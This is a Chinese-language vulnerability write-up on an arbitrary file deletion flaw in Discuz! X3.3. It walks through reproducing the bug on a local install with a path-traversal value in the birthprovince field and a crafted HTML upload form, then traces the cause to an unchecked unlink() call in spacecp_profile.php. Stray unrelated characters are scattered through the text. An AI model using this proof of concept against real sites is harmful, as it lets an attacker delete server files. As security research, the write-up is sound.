0x01 前言
之前網(wǎng)上爆的的是Discuz鲁驶!<=3.4的任意文件刪除漏洞鉴裹,為什么這里變成3.3了呢?因?yàn)閺S商已經(jīng)把3.4的修復(fù)了钥弯,不過3.3版本還是存在問題的径荔。
0x02 漏洞復(fù)現(xiàn)
首先,在本地創(chuàng)建一個(gè)我們要?jiǎng)h除的測(cè)試文件
注冊(cè)一個(gè)賬號(hào)
然后點(diǎn)擊保存脆霎,用burp抓個(gè)包总处,就可以得到我們的formhash,并在birthprovince中修改成我們要?jiǎng)h除的文件路徑(../../../test.txt)
然后可以在本地創(chuàng)建一個(gè)文件上傳的表單
<!DOCTYPE html>
<html>
<head>
<title>Upload</title>
</head>
<body>
<form action="http://127.0.0.1:8080/code_audit/Discuz_X3.3_SC_UTF8/upload/home.php?mod=spacecp&ac=profile&op=base method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="a7ccdf77"/>
<input type="text" name="profilesubmit" value="1"/>
<input type="submit" value="Submit" />
</from>
</body>
</html>
然后點(diǎn)擊上傳
就完成了刪除文件了~
0x03 漏洞分析
這里漏洞出現(xiàn)在/upload/source/include/spacecp/spacecp_profile.php
這里第182睛蛛、183行有兩個(gè)unlink()函數(shù)可以刪除文件鹦马,但是需要formtype=file才可以,我們把這里的打印出來
發(fā)現(xiàn)并不是file忆肾,因此不能在這里進(jìn)行刪除荸频,繼續(xù)往下看,
第229行有一個(gè)unlink()函數(shù)难菌,并且沒有任何判斷试溯,也就是說只要程序運(yùn)行到這里,就可以刪除文件郊酒∮鼋剩看一下條件
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
這里向上回溯键袱,看一下$space[$key]在哪里。
出現(xiàn)在第23行摹闽,發(fā)現(xiàn)這個(gè)就是用戶的個(gè)人設(shè)置蹄咖,我們可以選擇birthprovince,修改成要?jiǎng)h除的文件就好了付鹿,然后實(shí)現(xiàn)一個(gè)上傳文件 的表單澜汤,就可以刪除文件了。